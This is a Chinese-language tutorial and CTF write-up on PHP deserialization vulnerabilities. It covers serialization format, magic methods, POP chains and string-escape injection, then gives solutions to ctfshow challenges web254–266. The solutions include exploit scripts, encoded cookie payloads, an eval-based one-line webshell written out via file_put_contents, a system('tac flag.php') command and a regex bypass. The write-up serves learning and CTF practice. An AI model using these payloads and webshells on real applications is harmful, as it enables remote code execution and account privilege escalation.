序列化与反序列化
序列化
反序列是指把对象转换为字符串的过程,便于在内存、文件、数据库中保存、传输,PHP中使用serialize函数进行序列化。
<?php
class Person{
public $name="php";
protected $id;
private $age;
}
$a = new Person();
$a_seri = serialize($a);
echo $a_seri;
?>
运行结果为
O:6:"Person":3:{s:4:"name";s:3:"php";s:5:"*id";N;s:11:"Personage";N;}
各个字符的意义:字母O代表Object,a代表array,s代表string,i 表示数字
O:6:"Person":3:{s:4:"name";s:3:"php";s:5:"*id";N;s:11:"Personage";N;}
O代表Object对象,6代表类名(Person)的长度是6,3代表类中的属性有3个。{}内就是类的属性信息,每个属性以分号;结束。
s:4:"name";s:3:"php";
s代表string类型,4代表属性名(name)的长度,name后面是属性值,string类型,数值长度为3,数值为php。若类属性值未初始化,则默认值为null。
类的属性有三种 public 、protected 和private
PHP 序列化的时候 private和 protected 变量会引入不可见字符%00 ,%00类名%00属性名 为private,%00*%00属性名 为protected,注意这两个 %00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚
O:6:%22Person%22:3:%7Bs:4:%22name%22;s:3:%22php%22;s:5:%22%20*%20id%22;N;s:11:%22%20Person%20age%22;N;%7D
反序列化
序列化的逆过程,将字符串恢复成对象( 恢复成对象—>自动调用加载类函数),PHP中使用unserialize函数完成反序列化的操作
需要注意的是unserialize函数只能反序列化在当前程序上下文中已经被定义过的类,或者autoLoad自动加载机制可加载的类
$a_seri_unseri = unserialize($a_seri);
print_r($a_seri_unseri);
运行结果
Person Object
(
[name] => php
[id:protected] =>
[age:Person:private] =>
)
序列化和反序列化的实际用途
主要用于对象的传输
魔术方法和常量
PHP中把以下两个下划线__ 开头的方法称为魔术方法
__construct ,类的构造函数__destruct() ,类的析构函数__call() ,在对象中调用一个不可访问方法时调用__callStatic() ,用静态方式中调用一个不可访问方法时调用__get() ,获得一个类的成员变量时调用__set() ,设置一个类的成员变量时调用__isset() ,当对不可访问属性调用isset() 或empty() 时调用__unset() ,当对不可访问属性调用unset() 时被调用。__sleep() ,执行serialize() 时,先会调用这个函数__wakeup() ,执行unserialize() 时,先会调用这个函数__toString() ,类被当成字符串时的回应方法__invoke() ,调用函数的方式调用一个对象时的回应方法__set_state() ,调用var_export() 导出类时,此静态方法会被调用。__clone() ,当对象复制完成时调用
PHP中的常量大部分都是不变的,但是有8个常量会随着他们所在代码位置的变化而变化,这8个常量被称为魔术常量。
__LINE__ ,文件中的当前行号__FILE__ ,文件的完整路径和文件名__DIR__ ,文件所在的目录__FUNCTION__ ,函数名称__CLASS__ ,类的名称__TRAIT__ ,Trait的名字__METHOD__ ,类的方法名__NAMESPACE__ ,当前命名空间的名称
可以利用序列化与反序列化,重新构造类对象的属性进行攻击。
php反序列化漏洞,又称PHP对象注入
漏洞利用条件
(1)unserialize参数用户可控,即程序没有对反序列化的值进行有效的限制,导致反序列化的对象可被用户控制。
(2)存在可被恶意利用的类,类中定义了可利用的__wakeup方法或者__destruct方法,如__destruct中使用了assert函数,且参数用户可控。
其危害性主要取决于魔方函数做的操作
(3)对象可被反序列化,即在调用unserialize方法时,当前程序上下文中相应类被定义,或者类可被autoLoad自动加载机制加载
POP链
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的
说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。
反序列化的常见起点
__wakeup 当使用unserialize() 时,会先调用这个函数,可用于做些对象的初始化操作
__destruct 明确销毁对象或脚本结束时被调用
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化的常见中间跳板
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 当对不可访问属性调用isset() 或empty() 时调用
反序列化的常见终点
call_user_func(callable $callback, mixed ...$args)
把第一个参数作为回调函数使用
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数
callback 将被调用的回调函数
agrs 0个或以上的参数,被传入回调函数
call_user_func_array(callable $callback, array $args)
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。
callback 被调用的回调函数
args 要被传入回调函数的数组,这个数组得是索引数组
__class 调用不可访问或不存在的方法时被调用
pop链是常见的反序列化的利用手段,
PHP中反序列化字符逃逸
当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。
过滤后字符变多
假设我们先定义一个user 类,然后里面一共有3个成员变量:username 、password 、isVIP 。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
?>
可以看到当这个类被初始化的时候,isVIP 变量默认是0 ,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$a = new user('admin','1234546');
$a_seri = serialize($a);
echo $a_seri;
?>
这一段程序的输出结果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}
可以看到,对象序列化之后的isVIP 变量是0 。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
function filter($s) {
return str_replace("admin","hacker",$s);
}
因此整段程序如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s) {
return str_replace("admin","hacker",$s);
}
$a = new user('admin','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
这一段程序的输出为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到已过滤字符串中的hacker 与前面的字符长度不对应了
s:5:"admin";
s:5:"hacker";
在这个时候,对于我们,在新建对象的时候,传入的admin 就是我们的可控变量
接下来明确我们的目标:将isVIP 变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
也就是说,我们要在admin 这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
因为我们需要逃逸的字符串长度为47 ,并且admin 每次过滤之后都会变成hacker ,也就是说每出现一次admin ,就会多1 个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代码如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s) {
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
程序输出结果为:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s) {
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>
程序输出如下:
object(user)
["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}
可以看到这个时候,isVIP 这个变量就变成了1 ,反序列化字符逃逸的目的也就达到了。
过滤后字符变少
上面描述了PHP反序列化字符逃逸中字符变多的情况。
以下开始解释反序列化字符逃逸变少的情况。
首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。
完整代码如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s) {
return str_replace("admin","hack",$s);
}
$a = new user('admin','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
得到结果:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}
同样比较一下现有子串和目标子串:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。
计算一下目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
再计算一下到下一个可控变量的字符串长度:
";s:8:"password";s:6:"
因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)
完整代码如下:(这里的变量里一共有22个admin)
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s) {
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','1234546');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
输出结果:
**注意:**PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:7:"1234546";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代码为:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s) {
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s) {
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p) {
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s) {
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>
得到结果:
object(user)
["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
["password"]=>
string(6) "123456"
["isVIP"]=>
int(1)
}
可以看到,这个时候isVIP 的值也为1 ,也就达到了我们反序列化字符逃逸的目的了
字符逃逸是这个PHP中文网的一个大佬写的,怕不见了 提前保存,真的很经典!!
深入了解PHP中反序列化字符逃逸的原理-php教程-PHP中文网
ctfshow上的反序列化
web254
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
?>
解题思路:vipOneKeyGetFlag() 函数可以输出 flag ,条件是,使得$this->isVip 为真。再看login() 函数,传入参数$u 和$p ,使得$this->username===$u&&$this->password===$p
得知public $username='xxxxxx'; public $password='xxxxxx'; ,所以payload就是?username=xxxxxx&password=xxxxxx
web255
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
解题思路:与web254相比,多了一个COOKIE传参而且将其进行了反序列化,所以将传入的Cookie参数需要进行序列化。并且ctfShowUser 类中没有可以改变$isVip 为 ture 的方法。所以重新构造一个ctfShowUser类将$isVip 的值赋值为ture
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
echo urlencode(serialize(new ctfshowUser()))
?>
输出经URL编码的Cookie值为O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
两个参数$u 和$p 的值还是为xxxxxx
web256
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
解题思路:要求传入的参数和ctfShowUser类中的属性相同,且两个类属性username和password不相同。
注意:序列化和反序列化可以构造类中的属性
<?php
class ctfShowUser{
public $username='x';
public $password='y';
public $isVip=true;
}
echo urlencode(serialize(new ctfShowUser()));
?>
这里构造:$username 的值为x ,$password 的值为y ,$isVip 的值为true 。
构造:?username=x&password=y ,Cookie传入
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
?>
解题思路:没有输出flag 的代码,但是有一个后面函数backdoor() ,其中又调用eval() 函数该函数将用户传入的参数当作代码执行。
反序列化的宗旨:不能修改类中的方法,但是可以控制类的属性,也可以修改一些魔术方法
将ctfShowUser 类中的构造方法进行修改__construct() 函数,new dockDoor() 并将backDoor 类中的内容进行修改,并进行POST传参。
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='eval($_POST[value]);';
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
web258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
?>
和web257相比,增加了正则表达式,在O:11 之间加上+ 也可以执行。(源码可查询)
构造,反序列化
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='eval($_POST[value]);';
}
$a = serialize(new ctfShowUser);
echo $a;
echo "\n";
$b = str_replace(':11',':+11',$a);
$c = str_replace(':8',':+8',$b);
echo $c;
echo "\n";
echo urlencode($c);
?>
Cookie构造O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A20%3A%22eval%28%24_POST%5Bvalue%5D%29%3B%22%3B%7D%7D
GET传参username 和password 任意书写。POST传参value=system('tac flag.php');
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
?>
直接GET传参ctfshow_i_love_36D
因为serialize() 函数用于序列化对象或数组,并返回一个字符串
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
对其他数据类型不会进行序列化
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
涉及魔术方法
参考官方文档:PHP: 魔术方法 - Manual
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
没有方法可以调用 __invoke() 函数,所以从file_put_contents() 函数下手
通过file_put_contents() 函数构造一句话木马。
可以参考PHP file_put_contents() 函数 | 菜鸟教程 (runoob.com)
构造反序列化
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a = new ctfshowvip('877.php','<?php eval($_POST[value]);?>');
echo serialize($a);
?>
web262
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
?>
还有一个message.php文件
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
使用反序列化字符逃逸(有两种:过滤后字符变多,过滤后字符变少)
等序列化的时候 t 参数的值会变成loveU ,会多一位,原先构造的后边从 双引号 开始的有 27 位,所以我们需要构造 27 个fuck ,等序列化后 多出27位造成后边的字符串逃逸。
构造反序列化
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($s){
return str_replace('fuck','loveU',$s);
}
$a=new message('1','1','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$a_seri=serialize($a);
echo $a_seri;
echo "\n";
$a_seri_filter=filter($a_seri);
echo $a_seri_filter;
echo "\n";
$a_seri_filter_unseri=unserialize($a_seri_filter);
print_r($a_seri_filter_unseri);
?>
web264
<?php
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
?>
还有message.php文件
<?php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
?>
看上去和web262相同,但仔细比较
$_SESSION['msg']=base64_encode($umsg);
if(isset($_COOKIE['msg']))
前面的是 session,而message.php 比较的是 cookie.
所以我们出了传入paylaod,还得构造 cookie,
f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
考察php按地址传参
给一个样例,相当于C语言指针,地址传值
<?php
$a='123';
$b=&$a;
$b=1;
echo $a;
?>
构造反序列化exp
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password=&$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$a = new ctfshowAdmin('123','123');
echo serialize($a);
?>
web266
<?php
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
?>
当我们序列化的字符串里面如果有ctfshow就会抛出异常,这样就没法触发_destruct魔术方法了 ,所以得绕过这个正则。
通过大小写进行绕过
构造exp
<?php
class ctfshow{
}
$a=new ctfshow();
echo serialize($a);
?>
使用burp抓包,添加O:7:"Ctfshow":0:{}
|